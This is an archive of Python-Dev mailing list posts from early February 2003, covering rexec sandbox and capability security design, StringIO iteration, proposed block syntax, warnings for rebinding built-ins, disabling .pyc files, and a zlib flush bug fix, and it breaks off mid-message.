From rocksportrocker@gmx.de  Sat Feb  1 00:30:51 2003
From: rocksportrocker@gmx.de (Uwe Schmitt)
Date: Sat, 01 Feb 2003 01:30:51 +0100
Subject: [Python-Dev] rexec/bastion
Message-ID: <3E3B153B.5060401@gmx.de>

Hi,

I heard at comp.lang.python that rexec/bastion have
some security holes.
Accidentily I wrote some "sandbox" code for
integrating python into a mathematical appcliation:
users should be able to write some mathematical
functions of their own without doing harm.
So, I'd really be interested if my implementation
is safe, or if has the same drawbacks as
rexec/bastion.
The code with some demonstrations can
be downloaded from
http://pythonstuff.procoders.net.
I'd really appreciate any comments.

Greetings, Uwe Schmitt



From skip@pobox.com  Sat Feb  1 01:28:57 2003
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 31 Jan 2003 19:28:57 -0600
Subject: [Python-Dev] rexec/bastion
In-Reply-To: <3E3B153B.5060401@gmx.de>
References: <3E3B153B.5060401@gmx.de>
Message-ID: <15931.8921.673472.551608@montanaro.dyndns.org>

    Uwe> Accidentily I wrote some "sandbox" code for integrating python into
    Uwe> a mathematical appcliation: ....  The code with some demonstrations
    Uwe> can be downloaded from http://pythonstuff.procoders.net.  I'd
    Uwe> really appreciate any comments.

Uwe,

Your request is more appropriately posted to c.l.py (as in, it's not
appropriate for python-dev, so by default c.l.py is a better choice ;-).
The python-dev list is focused on Python development, not issues related to
specific applications.  I don't know just what the rexec/bastion holes are,
but I've been led to believe they got much bigger when new-style classes
became available.

Skip


From bac@OCF.Berkeley.EDU  Sat Feb  1 02:21:35 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Fri, 31 Jan 2003 18:21:35 -0800 (PST)
Subject: [Python-Dev] StringIO not an iterator?
In-Reply-To: <200301311240.h0VCeJD31717@pcp02138704pcs.reston01.va.comcast.net>
References: <20030131012843.D4D463C32B@coffee.object-craft.com.au>
 <Pine.SOL.4.53.0301301756480.27474@death.OCF.Berkeley.EDU>
 <20030131020450.423B33C32B@coffee.object-craft.com.au>
 <200301311240.h0VCeJD31717@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <Pine.SOL.4.53.0301311821140.822@death.OCF.Berkeley.EDU>

[Guido van Rossum]

> Well, maybe StringIO should be upgraded to be a self-iterator, to
> more resemble files.
>
> And cStringIO should probably be fixed as well.
>
> Someome please check in the changes, upload a patch to SF, or at least
> enter a bug report at SF!
>

Done; bug #678519 .

-Brett


From rnd@onego.ru  Sat Feb  1 07:31:38 2003
From: rnd@onego.ru (Roman Suzi)
Date: Sat, 1 Feb 2003 10:31:38 +0300 (MSK)
Subject: [Python-Dev] Python roadmap
Message-ID: <Pine.LNX.4.44.0302011025540.2889-100000@rnd.onego.ru>

Dear Guido and other no less respected Python developers,

latest discussion in python-dev troubles me and some other
Python users, because what is being discussed are details.

Maybe for the sake of clarifying your vision of future Python
features it is more beneficial to make an overall roadmap 
where many planned paths and roads will be marked.

When this will be clear to all, it will be easier to 
invent (or re-invent) new syntax for features.

For example, what is the Python plan for new OO-features?
Are interfaces to go into Python? Etc.

What about new control structures? Are they really needed?

Etc.

There are many PEPs (trees), but what the Python (forest)
will be like?

-- 
Sincerely yours, Roman Suzi
rnd@onego.ru =\= My AI powered by Linux RedHat 7.3



From fredrik@pythonware.com  Sat Feb  1 07:44:13 2003
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Sat, 1 Feb 2003 08:44:13 +0100
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <009201c2c900$8bd573c0$ced241d5@hagrid> <a05200f07ba605e5c8403@[63.120.19.221]> <2mznphb39i.fsf@starship.python.net> <Pine.SOL.4.53.0301311241590.2546@death.OCF.Berkeley.EDU>
Message-ID: <02af01c2c9c5$e1decad0$ced241d5@hagrid>

Brett Cannon wrote:

> > It's unclear to me that scheme is more dynamic than Python.
> 
> I don't think Scheme is more dynamic either.

from a language runtime perspective, I don't think Smalltalk is
more dynamic either.

I'm still waiting for the Parroteers to prove me wrong.

</F>



From ben@algroup.co.uk  Sat Feb  1 12:06:46 2003
From: ben@algroup.co.uk (Ben Laurie)
Date: Sat, 01 Feb 2003 12:06:46 +0000
Subject: [Python-Dev] Re: Capabilities in Python
References: <Pine.LNX.4.33.0301311503511.30241-100000@server1.lfw.org>
Message-ID: <3E3BB856.3070806@algroup.co.uk>

Ka-Ping Yee wrote:
> Wow, how did this topic end up crossing over to this list while
> i wasn't looking?  :0
> 
> Ben Laurie wrote:
> 
>>I'll admit to being that person. A capability is, in essence, an
>>opaque bound method. Of course, for them to be much use, you
>>want the system to provide some other stuff, like not being able
>>to recreate capabilities (i.e. you get hold of them from on
>>high, and that's the _only_ way to get them).
> 
> 
> Jeremy Hylton wrote:
> 
>>That seems like a funny defintion of a capability.
> 
> 
> A better definition of "capabilitiy" is "object reference".
> 
> "Bound method" isn't enough, because a capability should be able
> to have state, and your system should have the flexibility to
> represent capabilities that share state with other capabilities,
> or ones that don't.  The simple, straightforward way to model this
> is to just equate the word "capability" with "object reference".

You can it that way, too, but it strikes me as more unwieldy in 
practice. A bound method also has state because it is, of course, bound 
to an object reference, so I find that a more elegant way to do it.

>>A capability system must have some rules for creating and copying
>>capabilities, but there is more than one way to realize those rules in
>>a programming language.
> 
> 
> I suppose there could be, but there is really only one obvious way:
> creating a capability is equivalent to creating an object --
> which you can only do if you hold the constructor.  A capability
> is copied into another object (for the security folks, "object"
> == "protection domain") when it is transmitted as an argument to a
> method call.
> 
> To build a capability system, all you need to do is to constrain
> the transfer of object references such that they can only be
> transmitted along other object references.  That's all.
> 
> The problem for Python, as Jeremy explained, is that there are so
> many other ways of crawling into objects and pulling out bits of
> their internals.
> 
> Off the top of my head, i only see two things that would have to
> be fixed to turn Python into a capability-secure system:
> 
>   1. Access to each object is limited to its declared exposed
>      interface; no introspection allowed.
> 
>   2. No global namespace of modules (sys.modules etc.).
> 
> If there is willingness to consider a "secure mode" for Python
> in which these two things are enforced, i would be interested
> in making it happen.

I believe you just described rexec.

Cheers,

Ben.

-- 
http://www.apache-ssl.org/ben.html       http://www.thebunker.net/

"There is no limit to what a man can do or how far he can go if he
doesn't mind who gets the credit." - Robert Woodruff



From dan@sidhe.org  Sat Feb  1 15:52:18 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Sat, 1 Feb 2003 10:52:18 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <02af01c2c9c5$e1decad0$ced241d5@hagrid>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]>
 <009201c2c900$8bd573c0$ced241d5@hagrid>
 <a05200f07ba605e5c8403@[63.120.19.221]>
 <2mznphb39i.fsf@starship.python.net>
 <Pine.SOL.4.53.0301311241590.2546@death.OCF.Berkeley.EDU>
 <02af01c2c9c5$e1decad0$ced241d5@hagrid>
Message-ID: <a05200f03ba619cb0954b@[63.120.19.221]>

At 8:44 AM +0100 2/1/03, Fredrik Lundh wrote:
>Brett Cannon wrote:
>
>>  > It's unclear to me that scheme is more dynamic than Python.
>>
>>  I don't think Scheme is more dynamic either.
>
>from a language runtime perspective, I don't think Smalltalk is
>more dynamic either.
>
>I'm still waiting for the Parroteers to prove me wrong.

You'll probably be waiting a long time--it's generally off topic for 
the list, most people who aren't convinced won't believe me anyway, 
and I don't really care enough about this to put in the effort to 
convince you.
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From python@rcn.com  Sat Feb  1 17:20:43 2003
From: python@rcn.com (Raymond Hettinger)
Date: Sat, 1 Feb 2003 12:20:43 -0500
Subject: [Python-Dev] Python roadmap
References: <Pine.LNX.4.44.0302011025540.2889-100000@rnd.onego.ru>
Message-ID: <011601c2ca16$40fe63e0$125ffea9@oemcomputer>

From: "Roman Suzi" <rnd@onego.ru>
> Maybe for the sake of clarifying your vision of future Python
> features it is more beneficial to make an overall roadmap 
> where many planned paths and roads will be marked.

Guido can speak to the future; Python 2.3 speaks 
to the near future:

* no new syntax
* only one new builtin function
* the bool type for readability
* several new or improved library modules enriching
   the list of what can be done easily or quickly in python.
* several usability improvements (extended slices, codec callbacks,
   use of zip archives, support for international source encodings).
* many bug fixes and performance enhancements
* constantly improving documentation and a more complete test suite

Who wouldn't want all that?


Raymond Hettinger



From arigo@tunes.org  Sat Feb  1 17:31:08 2003
From: arigo@tunes.org (Armin Rigo)
Date: Sat,  1 Feb 2003 09:31:08 -0800 (PST)
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>; from guido@python.org on Thu, Jan 30, 2003 at 09:02:23PM -0500
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030201173108.0F9AD2223@bespin.org>

Hello,

On Thu, Jan 30, 2003 at 09:02:23PM -0500, Guido van Rossum wrote:
>   v = e:
>      S
> 
> would be equivalent to
> 
>   v = e(T)

Just to throw more oil on the fire, note that this looks quite a lot like

    for v in e:
        S

For example, it is quite messy but you can already define 'newproperty' to let
you do the following in 2.2:

    class X:
       for count in newproperty:
          def get(self):
             return self._count
          def set(self, value):
             self._count = value

Similarily you can "almost" already write the following for locks:

    for _ in acquired(lock):
        ...

i.e. you can define acquired() so that the loop is done exactly once, and the
lock released at the end.  It doesn't really work because you there is no
place in acquired() you can put the try:...finally:.


Just-drawing-parallels'ly yours,

Armin.



From arigo@tunes.org  Sat Feb  1 17:31:07 2003
From: arigo@tunes.org (Armin Rigo)
Date: Sat,  1 Feb 2003 09:31:07 -0800 (PST)
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <200301282244.h0SMiQ431533@odiug.zope.com>; from guido@python.org on Tue, Jan 28, 2003 at 05:44:26PM -0500
References: <r01050400-1023-B023B5E7331111D7B33C003065D5E7E4@[10.0.0.23]> <200301282244.h0SMiQ431533@odiug.zope.com>
Message-ID: <20030201173107.48C1D20ED@bespin.org>

Hello,

On Tue, Jan 28, 2003 at 05:44:26PM -0500, Guido van Rossum wrote:
> >     class Parrot(object):
> >         _count = 0
> >         class count(Property):
> >             """The count property."""
> >             def __get__(self):
> >                 return self._count
> >             def __set__(self, value):
> >                 self._count = value
> >             def __del__(self):
> >                 self._count = 0
> 
> These all abuse the class keyword for something that's definitely not
> a class.  That's a fatal flaw.

Too bad Python's metaclasses are powerful enough for doing all the kind of
things that a macro system could do without actually manipulating the syntax,
if it is to hear that actually doing so is fatally flawed :-(


Armin



From arigo@tunes.org  Sat Feb  1 17:31:13 2003
From: arigo@tunes.org (Armin Rigo)
Date: Sat,  1 Feb 2003 09:31:13 -0800 (PST)
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <2md6mdla1b.fsf@starship.python.net>; from mwh@python.net on Fri, Jan 31, 2003 at 01:32:32PM +0000
References: <LNBBLJKPBEHFEDALKOLCMEGFDLAB.tim.one@comcast.net> <2md6mdla1b.fsf@starship.python.net>
Message-ID: <20030201173113.83FBD2E35@bespin.org>

Hello Michael,

On Fri, Jan 31, 2003 at 01:32:32PM +0000, Michael Hudson wrote:
> It could be pointed out that Armin's thesis was in purest-of-the-pure
> mathematics and had nothing to with Python.  Last I heard, he'd got a
> postdoc in something that could related to dynamic compilation, but I
> don't know if that amounts to being paid to work on psyco.

Yes, it does.  I will certainly include my share of the "Minimal Python"
project (announced here some time ago) into my postdoc work, and the project
is not at all unlinked with Psyco.

Oh yes, I could use this mail to confirm I will soon release 1.0 in beta
form.


Armin.



From guido@python.org  Sat Feb  1 18:12:49 2003
From: guido@python.org (Guido van Rossum)
Date: Sat, 01 Feb 2003 13:12:49 -0500
Subject: [Python-Dev] Python roadmap
In-Reply-To: "Your message of Sat, 01 Feb 2003 10:31:38 +0300."
 <Pine.LNX.4.44.0302011025540.2889-100000@rnd.onego.ru>
References: <Pine.LNX.4.44.0302011025540.2889-100000@rnd.onego.ru>
Message-ID: <200302011812.h11ICnY02076@pcp02138704pcs.reston01.va.comcast.net>

Dear Roman,

If we can't discuss far-out ideas on python-dev, then where?

Details are important to decide whether wild ideas are worth
pursuing.

There's no roadmap yet.  We are exploring new territory.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jeremy@alum.mit.edu  Sat Feb  1 18:14:11 2003
From: jeremy@alum.mit.edu (Jeremy Hylton)
Date: Sat, 1 Feb 2003 13:14:11 -0500
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <20030201173107.48C1D20ED@bespin.org>
References: <r01050400-1023-B023B5E7331111D7B33C003065D5E7E4@[10.0.0.23]>
 <200301282244.h0SMiQ431533@odiug.zope.com>
 <20030201173107.48C1D20ED@bespin.org>
Message-ID: <15932.3699.514766.848297@localhost.localdomain>

>>>>> "AR" == Armin Rigo <arigo@tunes.org> writes:

  AR> On Tue, Jan 28, 2003 at 05:44:26PM -0500, Guido van Rossum wrote:
  >> These all abuse the class keyword for something that's definitely
  >> not a class.  That's a fatal flaw.

  AR> Too bad Python's metaclasses are powerful enough for doing all
  AR> the kind of things that a macro system could do without actually
  AR> manipulating the syntax, if it is to hear that actually doing so
  AR> is fatally flawed :-(

Zope is full of hacks like this :-).

In Zope3, I see many new language features added through metaclasses,
special objects created with class statements, elaborate protocols to
declare interfaces and lookup adapters for objects by interface.  I
think many or all of these features are necessary in such a large
system intended to accomodate extension at so many levels.

Many of the Zope3 features are begging for syntactic support.  That
is, the use of the features would be clearer if they could be spelled
in a straightforward way.  Python provides plenty of features that
allow you to extend the language.  It's unfortunate that you can't
extend the syntax, too.

Jeremy




From rnd@onego.ru  Sat Feb  1 18:16:02 2003
From: rnd@onego.ru (Roman Suzi)
Date: Sat, 1 Feb 2003 21:16:02 +0300 (MSK)
Subject: [Python-Dev] Python roadmap
In-Reply-To: <011601c2ca16$40fe63e0$125ffea9@oemcomputer>
Message-ID: <Pine.LNX.4.44.0302012111420.5868-100000@rnd.onego.ru>

On Sat, 1 Feb 2003, Raymond Hettinger wrote:

>From: "Roman Suzi" <rnd@onego.ru>
>> Maybe for the sake of clarifying your vision of future Python
>> features it is more beneficial to make an overall roadmap 
>> where many planned paths and roads will be marked.
>
>Guido can speak to the future; Python 2.3 speaks 
>to the near future:
>
>* no new syntax
>* only one new builtin function
>* the bool type for readability
>* several new or improved library modules enriching
>   the list of what can be done easily or quickly in python.
>* several usability improvements (extended slices, codec callbacks,
>   use of zip archives, support for international source encodings).
>* many bug fixes and performance enhancements
>* constantly improving documentation and a more complete test suite
>
>Who wouldn't want all that?

This is more or less clear and not as disturbing, as 
new code-block syntax.

BTW, is there any way in Python to make it issue warnings when 
built-in names are assigned new values? This could be very
useful mode for Python beginners who tend to rebind max, min,
list, etc?

>Raymond Hettinger

Sincerely yours, Roman Suzi
-- 
rnd@onego.ru =\= My AI powered by Linux RedHat 7.3



From guido@python.org  Sat Feb  1 18:29:12 2003
From: guido@python.org (Guido van Rossum)
Date: Sat, 01 Feb 2003 13:29:12 -0500
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: "Your message of Sat, 01 Feb 2003 09:31:08 PST."
 <20030201173108.0F9AD2223@bespin.org>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>
 <20030201173108.0F9AD2223@bespin.org>
Message-ID: <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>

> On Thu, Jan 30, 2003 at 09:02:23PM -0500, Guido van Rossum wrote:
> >   v = e:
> >      S
> > 
> > would be equivalent to
> > 
> >   v = e(T)

[Armin]
> Just to throw more oil on the fire, note that this looks quite a lot like
> 
>     for v in e:
>         S

Huh?  Not to my eyes.  Unless you basically ignore all keywords, in
which case there's no difference between an if and a while block
either.  That doesn't seem to be a useful POV.

> For example, it is quite messy but you can already define
> 'newproperty' to let you do the following in 2.2:
> 
>     class X:
>        for count in newproperty:
>           def get(self):
>              return self._count
>           def set(self, value):
>              self._count = value

Messy is the word.  I don't think this existence proof will convince
anyone that we don't need a new feature then.

> Similarily you can "almost" already write the following for locks:
> 
>     for _ in acquired(lock):
>         ...
> 
> i.e. you can define acquired() so that the loop is done exactly
> once, and the lock released at the end.  It doesn't really work
> because you there is no place in acquired() you can put the
> try:...finally:.
> 
> Just-drawing-parallels'ly yours,

I'm confused.  You & Samuele both sometimes have a rhetorical style
that leaves me with no idea of the point you're trying to make.

Please say it outright.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From rnd@onego.ru  Sat Feb  1 18:30:05 2003
From: rnd@onego.ru (Roman Suzi)
Date: Sat, 1 Feb 2003 21:30:05 +0300 (MSK)
Subject: [Python-Dev] Python roadmap
In-Reply-To: <200302011812.h11ICnY02076@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <Pine.LNX.4.44.0302012119050.5868-100000@rnd.onego.ru>

On Sat, 1 Feb 2003, Guido van Rossum wrote:

>Dear Roman,
>
>If we can't discuss far-out ideas on python-dev, then where?

I thought it was meant for Python 2.3 ;-) 
Sorry.

>Details are important to decide whether wild ideas are worth
>pursuing.
>
>There's no roadmap yet.  We are exploring new territory.

In fact things like

  expr:
    suite

or

  v = e:
    suite


are quite natural for Python. I wonder why they have not appeared in the
language yet. And I believe you will find most general application to
such juicy syntax than just property assignment.


Sincerely yours, Roman Suzi
-- 
rnd@onego.ru =\= My AI powered by Linux RedHat 7.3



From guido@python.org  Sat Feb  1 18:33:41 2003
From: guido@python.org (Guido van Rossum)
Date: Sat, 01 Feb 2003 13:33:41 -0500
Subject: [Python-Dev] Python roadmap
In-Reply-To: "Your message of Sat, 01 Feb 2003 21:16:02 +0300."
 <Pine.LNX.4.44.0302012111420.5868-100000@rnd.onego.ru>
References: <Pine.LNX.4.44.0302012111420.5868-100000@rnd.onego.ru>
Message-ID: <200302011833.h11IXfU02364@pcp02138704pcs.reston01.va.comcast.net>

> BTW, is there any way in Python to make it issue warnings when 
> built-in names are assigned new values? This could be very
> useful mode for Python beginners who tend to rebind max, min,
> list, etc?

It is sort of against the rules of the language -- the whole point of
scoping is that you should be able to define variables even if they
block a builtin (that you may never have heard of and don't need) from
view.

But it would be a great feature of PyChecker (for all I know, it
already does this).

There's one situation where I actually *do* think this is worth a
warning, or perhaps even an error.  When you import a module and
assign to an attribute of it that didn't exist before and has the name
of a built-in, you may change that module's meaning.  If this wasn't
allowed, an optimizer could know that a particular reference to 'len'
must really reference the built-in len() function, and could generate
in-line code to invoke PyObject_Size() rather than to look up the
built-in len and invoke it.  This would also allow much more efficient
execution of

  for i in range(1000000): ...

if there is no known global named range.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aleax@aleax.it  Sat Feb  1 18:45:30 2003
From: aleax@aleax.it (Alex Martelli)
Date: Sat, 1 Feb 2003 19:45:30 +0100
Subject: [Python-Dev] Python roadmap
In-Reply-To: <200302011833.h11IXfU02364@pcp02138704pcs.reston01.va.comcast.net>
References: <Pine.LNX.4.44.0302012111420.5868-100000@rnd.onego.ru> <200302011833.h11IXfU02364@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <200302011945.30990.aleax@aleax.it>

On Saturday 01 February 2003 07:33 pm, Guido van Rossum wrote:
   ...
> It is sort of against the rules of the language -- the whole point of
> scoping is that you should be able to define variables even if they
> block a builtin (that you may never have heard of and don't need) from
> view.

It would be wonderful to be able to OPTIONALLY get a warning
for any "shadowing" of a name in an ``outer'' scope by a name
in an ``inner'' scope, though -- I do (occasionally) miss Java's
prohibition against doing that.

> But it would be a great feature of PyChecker (for all I know, it
> already does this).

At least in 0.8.12, which I think is the current release, PyChecker
doesn't diagnose the binding (in global or local scope) of built-in
names with a warning, no.  But I think you're right that such a
functionality would belong there.

> There's one situation where I actually *do* think this is worth a
> warning, or perhaps even an error.  When you import a module and
> assign to an attribute of it that didn't exist before and has the name
> of a built-in, you may change that module's meaning.  If this wasn't

Very good point.  Such behavior seems unlikely to me to be
accidental (the usage "import X; X.Y=Z" is rare indeed), so I'm
not sure warnings would help all that much -- but, _forbidding_
this when Y names a built-in could indeed open the way to some 
very useful optimizations in the future.  Of course, enabling this 
optimization would also require a prohibition against "overriding" 
of built-ins by one's own versions -- I don't think that would be a 
great loss in terms of practical functionality.


Alex



From guido@python.org  Sat Feb  1 19:04:40 2003
From: guido@python.org (Guido van Rossum)
Date: Sat, 01 Feb 2003 14:04:40 -0500
Subject: [Python-Dev] Python roadmap
In-Reply-To: "Your message of Sat, 01 Feb 2003 21:30:05 +0300."
 <Pine.LNX.4.44.0302012119050.5868-100000@rnd.onego.ru>
References: <Pine.LNX.4.44.0302012119050.5868-100000@rnd.onego.ru>
Message-ID: <200302011904.h11J4eM02679@pcp02138704pcs.reston01.va.comcast.net>

> I thought it was meant for Python 2.3 ;-) 

Several times in the discussion I clarified that none of this was for
2.3.

> Sorry.

Next time read the whole thread before commenting.

BTW, the 2.3 roadmap is PEP 283.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From blunck@gst.com  Sat Feb  1 19:09:25 2003
From: blunck@gst.com (Christopher Blunck)
Date: Sat, 1 Feb 2003 14:09:25 -0500
Subject: [Python-Dev] disable writing .py[co]
In-Reply-To: <15917.24278.664609.769232@montanaro.dyndns.org>
References: <15917.24278.664609.769232@montanaro.dyndns.org>
Message-ID: <20030201190925.GA19674@homer.gst.com>

Personally I would like to see py have the ability to *not* generate .pyc files.
99% of the time generation of .pyc doesn't make much difference to me, but there
are times where you simply cannot generate them.  For example . . .

TiVo consists of 4 partitions:
  - primary root    (ro)
  - primary /var    (rw)
  - secondary root  (ro)
  - secondary /var  (rw)

The idea is that with / mounted ro, the box can never fargle itself to the 
point where a user issued fsck is required.  This is pretty sweet for devices
where the consumer has no idea that an actual Linux OS (or *any* OS for that
matter) is installed.  

I made an unsuccessful attempt to load python onto my TiVo, but when I realized
the ro nature of the / filesystem it forced me to reconsider my entire effort.

Likewise, another project of mine is on a rackmount device, and we've briefly
talked about making / ro in order to achieve the same safety: we don't want
the discuss fargled so badly that a customer calls us up and we step them 
through a fsck.  Likewise, we *use* py on our box.  Thus, forcing the 
interpretter to *not* generate .pyc would be a benefit to us, as it would
allow us to improve the stability of our platform.

Just my 2 cents.
-c


-- 
  2:00pm  up 103 days,  5:35,  1 user,  load average: 5.73, 5.52, 5.26


From guido@python.org  Sat Feb  1 19:09:26 2003
From: guido@python.org (Guido van Rossum)
Date: Sat, 01 Feb 2003 14:09:26 -0500
Subject: [Python-Dev] Python roadmap
In-Reply-To: "Your message of Sat, 01 Feb 2003 19:45:30 +0100."
 <200302011945.30990.aleax@aleax.it>
References: <Pine.LNX.4.44.0302012111420.5868-100000@rnd.onego.ru>
 <200302011833.h11IXfU02364@pcp02138704pcs.reston01.va.comcast.net>
 <200302011945.30990.aleax@aleax.it>
Message-ID: <200302011909.h11J9Qf02707@pcp02138704pcs.reston01.va.comcast.net>

> > There's one situation where I actually *do* think this is worth a
> > warning, or perhaps even an error.  When you import a module and
> > assign to an attribute of it that didn't exist before and has the name
> > of a built-in, you may change that module's meaning.  If this wasn't
> 
> Very good point.  Such behavior seems unlikely to me to be
> accidental (the usage "import X; X.Y=Z" is rare indeed), so I'm
> not sure warnings would help all that much -- but, _forbidding_
> this when Y names a built-in could indeed open the way to some 
> very useful optimizations in the future.

Exactly.

> Of course, enabling this optimization would also require a
> prohibition against "overriding" of built-ins by one's own versions
> -- I don't think that would be a great loss in terms of practical
> functionality.

There are very few builtins for which overriding is useful in
practice.  The only ones for which it is are __import__ (which was
designed with this in mind!) or open and file, which one might want to
replace with versions that do access checking in a restricted
execution environment.  I think we could make this list explicit.

People who override built-ins with versions they wrote themselves that
have different (extended) semantics are crazy.  People who add their
own functions to __builtin__ are lazy.  Neither deserves support. :-)

BTW, Alex, will you be at PyCon?  If not, will you be at Python UK the
next week?  If not, at EuroPython?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sat Feb  1 19:12:11 2003
From: guido@python.org (Guido van Rossum)
Date: Sat, 01 Feb 2003 14:12:11 -0500
Subject: [Python-Dev] disable writing .py[co]
In-Reply-To: "Your message of Sat, 01 Feb 2003 14:09:25 EST."
 <20030201190925.GA19674@homer.gst.com>
References: <15917.24278.664609.769232@montanaro.dyndns.org>
 <20030201190925.GA19674@homer.gst.com>
Message-ID: <200302011912.h11JCN202746@pcp02138704pcs.reston01.va.comcast.net>

> Personally I would like to see py have the ability to *not* generate
> .pyc files.  99% of the time generation of .pyc doesn't make much
> difference to me, but there are times where you simply cannot
> generate them.

If a .pyc file can't be written, this error is silently ignored and
the .py file is compiled each time.  A feature to suppress writing
.pyc files isn't needed to support having Python installed on a
read-only filesystem.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Sat Feb  1 19:19:07 2003
From: skip@pobox.com (Skip Montanaro)
Date: Sat, 1 Feb 2003 13:19:07 -0600
Subject: [Python-Dev] disable writing .py[co]
In-Reply-To: <20030201190925.GA19674@homer.gst.com>
References: <15917.24278.664609.769232@montanaro.dyndns.org>
 <20030201190925.GA19674@homer.gst.com>
Message-ID: <15932.7595.664231.920570@montanaro.dyndns.org>

    Christopher> Personally I would like to see py have the ability to *not*
    Christopher> generate .pyc files.  99% of the time generation of .pyc
    Christopher> doesn't make much difference to me, but there are times
    Christopher> where you simply cannot generate them.  For example . . .

See PEP 304.  That's one of the options.

Skip


From Scott.Daniels@Acm.Org  Sat Feb  1 19:30:24 2003
From: Scott.Daniels@Acm.Org (Scott David Daniels)
Date: Sat, 01 Feb 2003 11:30:24 -0800
Subject: [Python-Dev] Anyone willing to look over a zlib fix?
Message-ID: <3E3C2050.4010908@dsl-only.net>

Hi, since this is the first time I've piped up here, I'm
Scott, one of the older programmers who learned young (at 16,
in 1966, I learned on a vacuum tube desk-sized computer, the
LGP-30).  My career has included work on operating systems,
compilers, and databases.  Python is the first new language I've
learned in a long time that is a delight to use.  My most recent
uses of python have been large-volume data analysis (Numeric,
VPython) for employment and an art project for myself.

The art project involves a _large_ (43M compressed, .25G uncompressed)
.png file that I wanted to manipulate with PIL.  Unfortunately, PIL
failed; I rewrote my code to reading the .png bytes directly in
Python, and that failed as well.  I evewntually found the problem
was in zlib, and changed my code to drain all data before calling
.flush().  That solved my immediate problem, and now I'm trying to
get a fix in to solve this for others.

The fix is small; the original writer misunderstood the cases a
decompression object could be in at .flush time, so implemented a
no-op as far as the data was concerned.  This might be because there
was no way to limit the size output by the decompression when that
method was written.  The test case that should have caught it was
subject to a typo that hid the defect, and I submitted bug #640230.

I also have a patch in, #678531, wich fixes the problem, accompanied
by a rewrite of test_zlib.py into PyUnit style, which was much
easier to use in testing my fix.  If at all possible, it would be nice
to see some exercise in the 2.3 test chain of this fix, so I am hoping 
for a reviewer.

-Scott David Daniels
Scott.Daniels@Acm.Org




From pedronis@bluewin.ch  Sat Feb  1 19:45:56 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sat, 1 Feb 2003 20:45:56 +0100
Subject: [Python-Dev] Extended Function syntax
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
>
> I'm confused.  You & Samuele both sometimes have a rhetorical style
> that leaves me with no idea of the point you're trying to make.
>
> Please say it outright.

is this the reason why you have not given much feedback on my "rants"?

for example do you agree or disagree that it bad to have scoping rules for some
piece of code that depend on some user code somewhere else and that can
sometime be quite ambiguous at first glance?  Thus the 'class'-like scoping
rules case should be syntactically distinguishable from the inline-suite-like
case?




From guido@python.org  Sat Feb  1 19:52:17 2003
From: guido@python.org (Guido van Rossum)
Date: Sat, 01 Feb 2003 14:52:17 -0500
Subject: [Python-Dev] Anyone willing to look over a zlib fix?
In-Reply-To: "Your message of Sat, 01 Feb 2003 11:30:24 PST."
 <3E3C2050.4010908@dsl-only.net>
References: <3E3C2050.4010908@dsl-only.net>
Message-ID: <200302011952.h11JqHV03567@pcp02138704pcs.reston01.va.comcast.net>

> Hi, since this is the first time I've piped up here, I'm
> Scott, one of the older programmers who learned young (at 16,
> in 1966, I learned on a vacuum tube desk-sized computer, the
> LGP-30).  My career has included work on operating systems,
> compilers, and databases.  Python is the first new language I've
> learned in a long time that is a delight to use.  My most recent
> uses of python have been large-volume data analysis (Numeric,
> VPython) for employment and an art project for myself.
> 
> The art project involves a _large_ (43M compressed, .25G uncompressed)
> .png file that I wanted to manipulate with PIL.  Unfortunately, PIL
> failed; I rewrote my code to reading the .png bytes directly in
> Python, and that failed as well.  I evewntually found the problem
> was in zlib, and changed my code to drain all data before calling
> .flush().  That solved my immediate problem, and now I'm trying to
> get a fix in to solve this for others.
> 
> The fix is small; the original writer misunderstood the cases a
> decompression object could be in at .flush time, so implemented a
> no-op as far as the data was concerned.  This might be because there
> was no way to limit the size output by the decompression when that
> method was written.  The test case that should have caught it was
> subject to a typo that hid the defect, and I submitted bug #640230.
> 
> I also have a patch in, #678531, wich fixes the problem, accompanied
> by a rewrite of test_zlib.py into PyUnit style, which was much
